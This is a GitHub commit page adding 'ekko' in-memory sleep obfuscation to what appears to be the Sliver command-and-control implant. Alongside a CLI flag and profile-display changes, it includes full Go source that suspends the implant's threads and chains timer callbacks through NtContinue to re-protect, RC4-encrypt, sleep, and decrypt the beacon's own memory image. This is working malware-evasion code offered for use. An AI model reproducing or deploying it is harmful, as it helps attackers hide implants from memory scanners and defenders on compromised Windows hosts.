Skip to content

Commit

Permalink
add ekko sleep obfuscation
Browse files Browse the repository at this point in the history
  • Loading branch information
armysick committed Oct 31, 2024
1 parent 3c151ed commit 458042a
Show file tree
Hide file tree
Showing 10 changed files with 2,025 additions and 1,601 deletions.
1 change: 1 addition & 0 deletions client/command/generate/commands.go
Original file line number Diff line number Diff line change
Expand Up @@ -307,6 +307,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.BoolP("sleep-obfuscation", "B", false, "apply ekko in-memory sleep obfuscation")

f.StringP("canary", "c", "", "canary domain(s)")

Expand Down
2 changes: 2 additions & 0 deletions client/command/generate/generate.go
Original file line number Diff line number Diff line change
Expand Up @@ -272,6 +272,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
debug, _ := cmd.Flags().GetBool("debug")
evasion, _ := cmd.Flags().GetBool("evasion")
templateName, _ := cmd.Flags().GetString("template")
sleepObfuscation, _ := cmd.Flags().GetBool("sleep-obfuscation")

reconnectInterval, _ := cmd.Flags().GetInt64("reconnect")
pollTimeout, _ := cmd.Flags().GetInt64("poll-timeout")
Expand Down Expand Up @@ -370,6 +371,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
SleepObfuscation: sleepObfuscation,
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
Expand Down
10 changes: 10 additions & 0 deletions client/command/generate/profiles.go
Original file line number Diff line number Diff line change
Expand Up @@ -171,6 +171,12 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
properties["sgn"] = "disabled"
}

if config.SleepObfuscation {
properties["sleepobf"] = "enabled"
} else {
properties["sleepobf"] = "disabled"
}

reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
if reconnect == 1 {
plural = ""
Expand Down Expand Up @@ -314,6 +320,10 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
"Shikata Ga Nai (SGN) is",
properties["sgn"],
})
tw.AppendRow(table.Row{
"Sleep obfuscation (Ekko) is",
properties["sleepobf"],
})

con.PrintInfof("Obfuscation\n")
con.Printf("%s\n\n", tw.Render())
Expand Down
5 changes: 5 additions & 0 deletions implant/sliver/ekko/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
## ekko / Sliver
An adapted version of https://github.com/scriptchildie/goEkko, a golang implementation of the original https://github.com/Cracked5pider/Ekko.

It allows for the memory region of the beacon to be encrypted while the beacon is sleeping.
243 changes: 243 additions & 0 deletions implant/sliver/ekko/ekko.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,243 @@
package ekko

import (
"fmt"
"log"
"syscall"
"unsafe"

"golang.org/x/sys/windows"
)

const (
WT_EXECUTEINTIMERTHREAD = 0x00000020
ThreadQuerySetWin32StartAddress = 0x9
)

var (
// kernel32
kernel32dll = syscall.NewLazyDLL("kernel32.dll")
procSuspendThread = kernel32dll.NewProc("SuspendThread")
procResumeThread = kernel32dll.NewProc("ResumeThread")
procGetModuleHandleA = kernel32dll.NewProc("GetModuleHandleA")
procCreateEventW = kernel32dll.NewProc("CreateEventW")
procCreateTimerQueue = kernel32dll.NewProc("CreateTimerQueue")
procCreateTimerQueueTimer = kernel32dll.NewProc("CreateTimerQueueTimer")
procRtlCaptureContext = kernel32dll.NewProc("RtlCaptureContext")
procVirtualProtect = kernel32dll.NewProc("VirtualProtect")
procWaitForSingleObject = kernel32dll.NewProc("WaitForSingleObject")
procSetEvent = kernel32dll.NewProc("SetEvent")
procDeleteTimerQueue = kernel32dll.NewProc("DeleteTimerQueue")

//ntdll
ntdll = syscall.NewLazyDLL("ntdll.dll")
procNtContinue = ntdll.NewProc("NtContinue")
procNtQueryInformationThread = ntdll.NewProc("NtQueryInformationThread")

//Advapi32
Advapi32dll = syscall.NewLazyDLL("Advapi32.dll")
procSystemFunction032 = Advapi32dll.NewProc("SystemFunction032")
)

func EkkoSleep(sleepTime uint64) error {

currentProcessID := uint32(windows.GetCurrentProcessId())
fmt.Printf("Current Process ID: %d\n", currentProcessID)

// Take a snapshot of all running threads in the system
hThreadSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPTHREAD, 0)
if err != nil {
return err
}
defer windows.CloseHandle(hThreadSnapshot)

var te32 windows.ThreadEntry32
te32.Size = uint32(unsafe.Sizeof(te32))

// Retrieve information about the first thread in the snapshot
err = windows.Thread32First(hThreadSnapshot, &te32)
if err != nil {
return err
}

fmt.Println("[+] Suspending Threads")
for {
if te32.OwnerProcessID == currentProcessID {

if windows.GetCurrentThreadId() != te32.ThreadID {
//fmt.Println(te32.ThreadID)

hThread, err := windows.OpenThread(0xFFFF, false, te32.ThreadID)
if err != nil {
continue
}
defer windows.CloseHandle(hThread)
var dwStartAddress, size uintptr
procNtQueryInformationThread.Call(uintptr(hThread), ThreadQuerySetWin32StartAddress, uintptr(unsafe.Pointer(&dwStartAddress)), unsafe.Sizeof(dwStartAddress), uintptr(unsafe.Pointer(&size)))

ImageBase, _, _ := procGetModuleHandleA.Call(uintptr(0))
e_lfanew := *((*uint32)(unsafe.Pointer(ImageBase + 0x3c)))
nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(ImageBase + uintptr(e_lfanew)))
ImageEndAddress := ImageBase + uintptr(nt_header.OptionalHeader.SizeOfImage)

if dwStartAddress >= ImageBase && dwStartAddress <= ImageEndAddress {
procSuspendThread.Call(uintptr(hThread))
} else {
goto nextThread
}

}
}

// Retrieve information about the next thread in the snapshot
nextThread:
err = windows.Thread32Next(hThreadSnapshot, &te32)
if err != nil {
break // No more threads
}
}

fmt.Println("[+] Threads Suspended")

te32.Size = uint32(unsafe.Sizeof(te32))
err = windows.Thread32First(hThreadSnapshot, &te32)
if err != nil {
return err
}

err = ekko(sleepTime)
if err != nil {
fmt.Printf("[ERROR] Ekko Sleep failed %v\n", err)
}
error2 := err

fmt.Println("[+] Resume Suspended Threads")

// resume threads
for {
if te32.OwnerProcessID == currentProcessID {

if windows.GetCurrentThreadId() != te32.ThreadID {
//fmt.Println(te32.ThreadID)

hThread, err := windows.OpenThread(0xFFFF, false, te32.ThreadID)
if err != nil {
continue
}
defer windows.CloseHandle(hThread)

procResumeThread.Call(uintptr(hThread))

}
}

// Retrieve information about the next thread in the snapshot
err = windows.Thread32Next(hThreadSnapshot, &te32)
if err != nil {
break // No more threads
}
}

fmt.Println("Suspended Threads resumed")
if error2 != nil {
return error2
}
return nil
}

func ekko(sleepTime uint64) error {

var CtxThread CONTEXT
var RopProtRW CONTEXT
var RopMemEnc CONTEXT
var RopDelay CONTEXT
var RopMemDec CONTEXT
var RopProtRX CONTEXT
var RopSetEvt CONTEXT

keybuf := [16]uint8{0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55}

var Key, Img UString

ImageBase, _, _ := procGetModuleHandleA.Call(uintptr(0))
e_lfanew := *((*uint32)(unsafe.Pointer(ImageBase + 0x3c)))
nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(ImageBase + uintptr(e_lfanew)))

hEvent, _, _ := procCreateEventW.Call(0, 0, 0, 0)
var hNewTimer, hTimerQueue uintptr
hTimerQueue, _, _ = procCreateTimerQueue.Call()

Img.Buffer = (*byte)(unsafe.Pointer(ImageBase))
Img.Length = nt_header.OptionalHeader.SizeOfImage

Key.Buffer = &keybuf[0]
Key.Length = uint32(unsafe.Sizeof(Key))

procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procRtlCaptureContext.Addr(), uintptr(unsafe.Pointer(&CtxThread)), 0, 0, WT_EXECUTEINTIMERTHREAD)
windows.WaitForSingleObject(windows.Handle(hEvent), 0x100)
//fmt.Println(CtxThread)

if CtxThread.Rip == 0 {
log.Fatalln()
}
RopProtRW = CtxThread
RopMemEnc = CtxThread
RopDelay = CtxThread
RopMemDec = CtxThread
RopProtRX = CtxThread
RopSetEvt = CtxThread

var OldProtect uint64
RopProtRW.Rsp -= 8
RopProtRW.Rip = uint64(procVirtualProtect.Addr())
RopProtRW.Rcx = uint64(ImageBase)
RopProtRW.Rdx = uint64(nt_header.OptionalHeader.SizeOfImage)
RopProtRW.R8 = windows.PAGE_READWRITE
RopProtRW.R9 = uint64(uintptr(unsafe.Pointer(&OldProtect)))
//fmt.Printf("\n[DEBUG] VirtualProtect: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopProtRW.Rip, RopProtRW.Rcx, RopProtRW.Rdx, RopProtRW.R8, RopProtRW.R9)

RopMemEnc.Rsp -= 8
RopMemEnc.Rip = uint64(procSystemFunction032.Addr())
RopMemEnc.Rcx = uint64(uintptr(unsafe.Pointer(&Img)))
RopMemEnc.Rdx = uint64(uintptr(unsafe.Pointer(&Key)))
//fmt.Printf("\n[DEBUG] SystemFunction032: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopMemEnc.Rip, RopMemEnc.Rcx, RopMemEnc.Rdx, 0, 0)

RopDelay.Rsp -= 8
RopDelay.Rip = uint64(procWaitForSingleObject.Addr())
RopDelay.Rcx = uint64(windows.CurrentProcess())
RopDelay.Rdx = sleepTime
//fmt.Printf("\n[DEBUG] WaitForSingleObject: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopDelay.Rip, RopDelay.Rcx, RopDelay.Rdx, 0, 0)

RopMemDec.Rsp -= 8
RopMemDec.Rip = uint64(procSystemFunction032.Addr())
RopMemDec.Rcx = uint64(uintptr(unsafe.Pointer(&Img)))
RopMemDec.Rdx = uint64(uintptr(unsafe.Pointer(&Key)))
//fmt.Printf("\n[DEBUG] SystemFunction032: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopMemDec.Rip, RopMemDec.Rcx, RopMemDec.Rdx, 0, 0)

RopProtRX.Rsp -= 8
RopProtRX.Rip = uint64(procVirtualProtect.Addr())
RopProtRX.Rcx = uint64(ImageBase)
RopProtRX.Rdx = uint64(nt_header.OptionalHeader.SizeOfImage)
RopProtRX.R8 = windows.PAGE_EXECUTE_READWRITE
RopProtRX.R9 = uint64(uintptr(unsafe.Pointer(&OldProtect)))
//fmt.Printf("\n[DEBUG] VirtualProtect: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopProtRX.Rip, RopProtRX.Rcx, RopProtRX.Rdx, RopProtRX.R8, RopProtRX.R9)

// SetEvent( hEvent );
RopSetEvt.Rsp -= 8
RopSetEvt.Rip = uint64(procSetEvent.Addr())
RopSetEvt.Rcx = uint64(hEvent)

procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopProtRW)), 100, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopMemEnc)), 200, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopDelay)), 300, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopMemDec)), 400, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopProtRX)), 500, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopSetEvt)), 600, 0, WT_EXECUTEINTIMERTHREAD)

fmt.Printf("[+] Encrypt and sleep for %d ms\n", sleepTime)
windows.WaitForSingleObject(windows.Handle(hEvent), windows.INFINITE)
procDeleteTimerQueue.Call(hTimerQueue)
fmt.Println("[+] Decrypted and awake")

return nil
}
Loading

0 comments on commit 458042a

Please sign in to comment.